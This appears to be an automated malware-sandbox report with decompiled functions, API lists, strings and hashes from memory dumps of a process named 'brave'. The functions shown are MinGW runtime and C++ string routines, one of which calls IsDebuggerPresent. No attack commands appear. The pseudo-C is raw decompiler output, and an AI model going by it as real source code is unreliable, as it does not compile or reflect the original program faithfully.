Part of subcall function 00007FF6FC4D8880: ReleaseSemaphore.KERNEL32 ref: 00007FF6FC4D88C6
Part of subcall function 00007FF6FC4D8880: LeaveCriticalSection.KERNEL32 ref: 00007FF6FC4D88D3

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalSection$Leave$DeleteEnter$CloseHandle$ReleaseSemaphorefree
String ID:
API String ID: 897415695-0
Opcode ID: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction ID: c6e6d46ed901e180f0652961e348e6a39b1c19386347458341b88af0d7b3ee30
Opcode Fuzzy Hash: a0b6630a7d97047e0030e229e683856c82cc15d2976108efe7bffb770ea2e6fd
Instruction Fuzzy Hash: B3518021A08A4681FB50AB62F8547BA26A2BF55BACF484531DD7EC33D1EF3CE641D301

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D8BA0 Relevance: 13.6, APIs: 9, Instructions: 81COMMON

Download Yara Rule

APIs

calloc.MSVCRT(?,00007FF6FC781400,00000000,00007FF6FC4D7B97,?,?,?,00007FF6FC4D7CC5,?,?,?,?,00007FF6FC4D7E65,?,00007FF6FC781400), ref: 00007FF6FC4D8BCC
CreateSemaphoreA.KERNEL32 ref: 00007FF6FC4D8C0C
CreateSemaphoreA.KERNEL32 ref: 00007FF6FC4D8C23
InitializeCriticalSection.KERNEL32(?,00007FF6FC781400,00000000,00007FF6FC4D7B97,?,?,?,00007FF6FC4D7CC5,?,?,?,?,00007FF6FC4D7E65,?,00007FF6FC781400), ref: 00007FF6FC4D8C4B
InitializeCriticalSection.KERNEL32(?,00007FF6FC781400,00000000,00007FF6FC4D7B97,?,?,?,00007FF6FC4D7CC5,?,?,?,?,00007FF6FC4D7E65,?,00007FF6FC781400), ref: 00007FF6FC4D8C52
InitializeCriticalSection.KERNEL32(?,00007FF6FC781400,00000000,00007FF6FC4D7B97,?,?,?,00007FF6FC4D7CC5,?,?,?,?,00007FF6FC4D7E65,?,00007FF6FC781400), ref: 00007FF6FC4D8C59

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: CriticalInitializeSection$CreateSemaphore$calloc
String ID:
API String ID: 2075313795-0
Opcode ID: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction ID: 0dd08ed97c334a6e1fe27d6024fa0e8a9c83bcf5ac8c82046c43f7531d84a225
Opcode Fuzzy Hash: 7c892f574ebb44d14683540b960821f729198a1c4daf112854c0d4a023215e6b
Instruction Fuzzy Hash: CB21A032B0A71286FB55EB25F818B7A2695EF45798F154136CE2D873C0FE3C9989C340

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4CE650 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 138
COMMON

Download Yara Rule

C-Code - Quality: 47%

			E00007FF67FF6FC4CE650(void* __ebx, long __rcx, long long __rdx, long long __r8, long long __r9, long long _a16, long long _a24, long long _a32) {
				void* _v32;
				intOrPtr _v108;
				void* _v144;
				void* _t19;
				void* _t20;
				void* _t22;
				void* _t26;
				intOrPtr _t42;
				long long _t44;
				intOrPtr _t45;
				intOrPtr* _t46;
				long long _t47;
				intOrPtr _t48;
				intOrPtr* _t49;
				intOrPtr _t50;
				void* _t51;
				void* _t52;
				signed long long _t55;
				long long _t59;
				intOrPtr _t64;
				struct _MEMORY_BASIC_INFORMATION* _t67;
				intOrPtr _t76;
				long long _t80;

				_t26 = __ebx;
				_t44 =  &_a16;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_v32 = _t44;
				_t20 = E00007FF67FF6FC4E1D50(_t19, 2, _t44, __rcx);
				r8d = 0x1b;
				0xfc4e16c8(_t51);
				_t52 = _v32;
				E00007FF67FF6FC4E1D50(_t20, 2, _t44, "Mingw-w64 runtime failure:\n");
				_t59 = _t44;
				0xfc4e1648();
				0xfc4e1710();
				asm("o16 nop [eax+eax]");
				_t80 = _t59;
				if (_t26 <= 0) goto 0xfc4ce7f0;
				_t45 =  *0xfc7810f8; // 0x29143ffa20
				_t46 = _t45 + 0x18;
				asm("o16 nop [eax+eax]");
				_t64 =  *_t46;
				if (_t64 - _t80 > 0) goto 0xfc4ce70c;
				_t76 =  *((intOrPtr*)(_t46 + 8));
				r8d =  *((intOrPtr*)(_t76 + 8));
				if (_t80 - _t64 + _t76 < 0) goto 0xfc4ce793;
				_t47 = _t46 + 0x28;
				if (1 != _t26) goto 0xfc4ce6f0;
				_t22 = E00007FF67FF6FC4CF3C0();
				if (_t47 == 0) goto 0xfc4ce812;
				_t48 =  *0xfc7810f8; // 0x29143ffa20
				_t55 =  *0xfc7810f4 +  *0xfc7810f4 * 4 << 3;
				_t49 = _t48 + _t55;
				 *((long long*)(_t49 + 0x20)) = _t47;
				 *_t49 = 0;
				E00007FF67FF6FC4CF4F0(_t22, _t76);
				r8d = 0x30;
				_t50 =  *0xfc7810f8; // 0x29143ffa20
				 *((long long*)(_t50 + _t55 + 0x18)) = _t80 + _t49;
				VirtualQuery(_t52, _t67, __rcx);
				_t42 = _t50;
				if (_t42 == 0) goto 0xfc4ce7f7;
				if (_t42 == 0) goto 0xfc4ce78c;
				if (_t42 != 0) goto 0xfc4ce7a0;
				 *0xfc7810f4 =  *0xfc7810f4 + 1;
				return _v108;
			}

0x7ff6fc4ce650
0x7ff6fc4ce65a
0x7ff6fc4ce664
0x7ff6fc4ce669
0x7ff6fc4ce66e
0x7ff6fc4ce673
0x7ff6fc4ce678
0x7ff6fc4ce67d
0x7ff6fc4ce692
0x7ff6fc4ce697
0x7ff6fc4ce6a1
0x7ff6fc4ce6a9
0x7ff6fc4ce6af
0x7ff6fc4ce6b4
0x7ff6fc4ce6ba
0x7ff6fc4ce6cf
0x7ff6fc4ce6d4
0x7ff6fc4ce6da
0x7ff6fc4ce6e3
0x7ff6fc4ce6e7
0x7ff6fc4ce6f0
0x7ff6fc4ce6f6
0x7ff6fc4ce6f8
0x7ff6fc4ce6fc
0x7ff6fc4ce706
0x7ff6fc4ce70f
0x7ff6fc4ce715
0x7ff6fc4ce71a
0x7ff6fc4ce725
0x7ff6fc4ce72b
0x7ff6fc4ce736
0x7ff6fc4ce73a
0x7ff6fc4ce73d
0x7ff6fc4ce741
0x7ff6fc4ce747
0x7ff6fc4ce754
0x7ff6fc4ce75d
0x7ff6fc4ce764
0x7ff6fc4ce769
0x7ff6fc4ce76f
0x7ff6fc4ce772
0x7ff6fc4ce782
0x7ff6fc4ce78a
0x7ff6fc4ce78c
0x7ff6fc4ce79b

APIs

VirtualQuery.KERNEL32 ref: 00007FF6FC4CE769

Strings

Address %p has no image-section, xrefs: 00007FF6FC4CE6C0, 00007FF6FC4CE815
VirtualQuery failed for %d bytes at address %p, xrefs: 00007FF6FC4CE801
VirtualProtect failed with code 0x%x, xrefs: 00007FF6FC4CE7DE
Mingw-w64 runtime failure:, xrefs: 00007FF6FC4CE688

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: QueryVirtual
String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section$Mingw-w64 runtime failure:
API String ID: 1804819252-1534286854
Opcode ID: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction ID: eb53e69f6265c9dd86ce9a18784e70687813052f8f214e542cbaa5530dfd647b
Opcode Fuzzy Hash: 132a4c11c153de298ffea9ed1bdabd017d4d66a2df506e748bccd0aa60d22546
Instruction Fuzzy Hash: C151AB72B09A4682EB10DB11F841AA977A0FB84B98F544135DE6D973E5FF3CE649C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4DCD30 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 122COMMON

Download Yara Rule

Strings

%-*.*s, xrefs: 00007FF6FC4DCEC6
%*.*s, xrefs: 00007FF6FC4DCE75
%.*s, xrefs: 00007FF6FC4DCEB8

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %*.*s$%-*.*s$%.*s
API String ID: 0-4054516066
Opcode ID: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction ID: 0fb6ad89ef417e51c74adad28c98cd68f1c71df96f0d3caab24e6d04e90eaee4
Opcode Fuzzy Hash: 3b4b1a4249cd6db309c4553ff8de0bac3b9e23fda156ad8bb14e5570f57846da
Instruction Fuzzy Hash: 9C5188B2A1825286E760DF35E54077977A2DF44B9CF248231DA28C76C9EE2DEA018B40

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4DC900 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00007FF67FF6FC4DC900(void* __edx, void* __rax, void* __rcx, void* __r8) {
				signed int _v72;
				char _v80;
				intOrPtr _t19;
				intOrPtr _t28;
				void* _t40;
				void* _t48;
				void* _t52;
				void* _t53;
				char* _t62;

				_t52 = __rax;
				_t19 =  *((intOrPtr*)(__r8 + 0x10));
				_t53 = __r8;
				if (_t19 < 0) goto 0xfc4dc91f;
				_t40 =  >  ? _t19 : __edx;
				r8d =  *((intOrPtr*)(__r8 + 0xc));
				if (( *(__r8 + 8) & 0x00006000) == 0x6000) goto 0xfc4dca28;
				if (_t40 - r8d < 0) goto 0xfc4dc9c0;
				 *((intOrPtr*)(__r8 + 0xc)) = 0xffffffff;
				if (_t40 > 0) goto 0xfc4dc97b;
				goto 0xfc4dca0d;
				_t62 = __rcx + __rax;
				E00007FF67FF6FC4DC8A0(_v72 & 0xffff, __r8);
				if (_t40 == 0) goto 0xfc4dca0d;
				_v80 = 0;
				strlen(??);
				E00007FF67FF6FC4E1940( &_v72, _t62, _t52,  &_v80);
				_t48 = _t52;
				if (_t48 == 0) goto 0xfc4dca0d;
				if (_t48 >= 0) goto 0xfc4dc960;
				_v72 =  *_t62;
				goto 0xfc4dc965;
				asm("o16 nop [cs:eax+eax]");
				r8d = r8d - _t40 - 1;
				 *((intOrPtr*)(_t53 + 0xc)) = r8d;
				if (0 != 0) goto 0xfc4dc94a;
				r8d = r8d - 1;
				 *((intOrPtr*)(_t53 + 0xc)) = r8d;
				E00007FF67FF6FC4DC8A0(0x20, _t53);
				 *((intOrPtr*)(_t53 + 0xc)) = _t52 - 1;
				if ( *((intOrPtr*)(_t53 + 0xc)) != 0) goto 0xfc4dc9e0;
				goto 0xfc4dc94a;
				E00007FF67FF6FC4DC8A0(0x20, _t53);
				_t28 =  *((intOrPtr*)(_t53 + 0xc));
				 *((intOrPtr*)(_t53 + 0xc)) = _t52 - 1;
				if (_t28 > 0) goto 0xfc4dca00;
				return _t28;
			}

0x7ff6fc4dc900
0x7ff6fc4dc90a
0x7ff6fc4dc913
0x7ff6fc4dc918
0x7ff6fc4dc91c
0x7ff6fc4dc922
0x7ff6fc4dc934
0x7ff6fc4dc93d
0x7ff6fc4dc943
0x7ff6fc4dc956
0x7ff6fc4dc958
0x7ff6fc4dc96b
0x7ff6fc4dc96e
0x7ff6fc4dc975
0x7ff6fc4dc97e
0x7ff6fc4dc989
0x7ff6fc4dc99a
0x7ff6fc4dc99f
0x7ff6fc4dc9a2
0x7ff6fc4dc9a4
0x7ff6fc4dc9af
0x7ff6fc4dc9b4
0x7ff6fc4dc9b6
0x7ff6fc4dc9c0
0x7ff6fc4dc9c3
0x7ff6fc4dc9ca
0x7ff6fc4dc9d0
0x7ff6fc4dc9d4
0x7ff6fc4dc9e8
0x7ff6fc4dc9f3
0x7ff6fc4dc9f8
0x7ff6fc4dc9fa
0x7ff6fc4dca08
0x7ff6fc4dca0d
0x7ff6fc4dca13
0x7ff6fc4dca18
0x7ff6fc4dca24

Strings

%*.*S, xrefs: 00007FF6FC4DCA3D
%-*.*S, xrefs: 00007FF6FC4DCA76
%.*S, xrefs: 00007FF6FC4DCA68

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID:
String ID: %*.*S$%-*.*S$%.*S
API String ID: 0-2115465065
Opcode ID: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction ID: 35a231042051b71c341a3859a118472a241a000f07f00f48303ad07b859c98b4
Opcode Fuzzy Hash: 7168d2604b3189bc1086008fb78c7252569c5abbf682eefe2c3ff4568daf00a2
Instruction Fuzzy Hash: 3B418F73B1864246E750EB25B4007796792AB84BE8F58C171EE6DC77C9FE3DE6428B00

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4D6EE0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 35
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4D6EE0(void* __rcx) {
				long _t1;

				_t1 = GetLastError();
				if (_t1 != 0) goto 0xfc4d6f00;
				return _t1;
			}

0x7ff6fc4d6eea
0x7ff6fc4d6ef2
0x7ff6fc4d6efb

APIs

GetLastError.KERNEL32 ref: 00007FF6FC4D6EEA
FormatMessageA.KERNEL32 ref: 00007FF6FC4D6F2B
IsDebuggerPresent.KERNEL32 ref: 00007FF6FC4D6F35

Strings

aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAAAAAAaaaAAAAaaaaaaAaAaaaaaaaaa, xrefs: 00007FF6FC4D6EE2

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: DebuggerErrorFormatLastMessagePresent
String ID: aaaaaaaaaaaaaaaaaaAAAAAAAAAAAaAAaAAAAAAaaaAAAAaaaaaaAaAaaaaaaaaa
API String ID: 2392558662-13150453
Opcode ID: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction ID: d2fd674fc2872b86a126d45d5ae978597de8a01cd55832fa22bad4fe31e6782d
Opcode Fuzzy Hash: fd52d147f527fa6bcd06c01c60e71c22fdd217dc7770cd6842f4e7a378731cf7
Instruction Fuzzy Hash: 56013161F1CA4281E7509B26F85877962A1BF89B89F540439DB6DC2AE4FF3DE684C700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E45C0 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 215stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6FC4E45E9
memcmp.MSVCRT ref: 00007FF6FC4E4608
memcmp.MSVCRT ref: 00007FF6FC4E4696
memcmp.MSVCRT ref: 00007FF6FC4E4718

Part of subcall function 00007FF6FC4F1250: strlen.MSVCRT ref: 00007FF6FC4F126E

memcmp.MSVCRT ref: 00007FF6FC4E47C4

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4E4649, 00007FF6FC4E46D3, 00007FF6FC4E4755, 00007FF6FC4E4801, 00007FF6FC4E481A
basic_string::compare, xrefs: 00007FF6FC4E4642, 00007FF6FC4E46CC, 00007FF6FC4E474E, 00007FF6FC4E47FA, 00007FF6FC4E4813

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction ID: b6e1e529e0888e2fc9f2b46c8f486cdec23e8c7ebe2e2b79f4b148450da0f353
Opcode Fuzzy Hash: 68f9f2bcd5ab65c1f543f9db557d2865906ff8277c6dcd0d61bc8145445e6c47
Instruction Fuzzy Hash: DC519D92F0858681EF10DBA6B9402E853919F15BE8F595631DE3CD77D6FE1CEB828300

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4E5670 Relevance: 10.7, APIs: 5, Strings: 2, Instructions: 202stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 00007FF6FC4E5699
memcmp.MSVCRT ref: 00007FF6FC4E56BA
memcmp.MSVCRT ref: 00007FF6FC4E5746
memcmp.MSVCRT ref: 00007FF6FC4E57C5

Part of subcall function 00007FF6FC4F1250: strlen.MSVCRT ref: 00007FF6FC4F126E

memcmp.MSVCRT ref: 00007FF6FC4E5861

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4E56FB, 00007FF6FC4E5783, 00007FF6FC4E5802, 00007FF6FC4E589E, 00007FF6FC4E58B7
basic_string::compare, xrefs: 00007FF6FC4E56F4, 00007FF6FC4E577C, 00007FF6FC4E57FB, 00007FF6FC4E5897, 00007FF6FC4E58B0

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435988355.00007FF6FC779000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436067641.00007FF6FC781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436102948.00007FF6FC783000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436162786.00007FF6FC786000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.436205540.00007FF6FC787000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6fc4c0000_brave.jbxd

Similarity

API ID: memcmp$strlen
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::compare
API String ID: 3738950036-1697194757
Opcode ID: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction ID: c2a36cdb6b166bbcd8ce1a97a078af1b0d32eac9c0bfadf776557c5643cd32a1
Opcode Fuzzy Hash: 59c97ae42c308dfeb0f959f2ed3afa6849da74c1a26816688b8ea568bade8b86
Instruction Fuzzy Hash: 64515E52F0568682EF50DB66FD502E45390AF04BE4F5D4632EE3C977D5ED1CDA868700

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6FC4ED5D0 Relevance: 10.7, APIs: 2, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00007FF67FF6FC4ED5D0(void* __eflags, long long* __rcx, intOrPtr* __rdx) {
				signed int _t6;
				long long _t15;
				long long _t17;
				signed char* _t18;

				_t17 =  *((intOrPtr*)(__rdx + 8));
				_t15 = __rcx + 0x10;
				 *__rcx = _t15;
				_t18 =  *((intOrPtr*)(__rdx));
				if (__eflags == 0) goto 0xfc4ed5f6;
				if (_t18 == 0) goto 0xfc4ed662;
				if (_t17 - 0xf > 0) goto 0xfc4ed630;
				if (_t17 != 1) goto 0xfc4ed620;
				_t6 =  *_t18 & 0x000000ff;
				 *(__rcx + 0x10) = _t6;
				 *((long long*)(__rcx + 8)) = _t17;
				 *((char*)(_t15 + _t17)) = 0;
				return _t6;
			}

0x7ff6fc4ed5d8
0x7ff6fc4ed5df
0x7ff6fc4ed5e3
0x7ff6fc4ed5e6
0x7ff6fc4ed5ef
0x7ff6fc4ed5f4
0x7ff6fc4ed5fa
0x7ff6fc4ed600
0x7ff6fc4ed602
0x7ff6fc4ed607
0x7ff6fc4ed60a
0x7ff6fc4ed60e
0x7ff6fc4ed61a

Strings

basic_string::basic_string, xrefs: 00007FF6FC4ED73E, 00007FF6FC4ED798
basic_string::_M_construct null not valid, xrefs: 00007FF6FC4ED662
basic_string::_M_create, xrefs: 00007FF6FC4ED66E, 00007FF6FC4ED702
%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 00007FF6FC4ED745, 00007FF6FC4ED79F, 00007FF6FC4ED7EF
string::string, xrefs: 00007FF6FC4ED7E8

Memory Dump Source

Source File: 0000000E.00000002.430959992.00007FF6FC4C1000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF6FC4C0000, based on PE: true

Associated: 0000000E.00000002.430880069.00007FF6FC4C0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431208633.00007FF6FC4F3000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.431262594.00007FF6FC4F5000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435899867.00007FF6FC771000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000E.00000002.435948355.00007FF6FC773000.00000002.00000001.01000000.00000009.sdmpDownload File
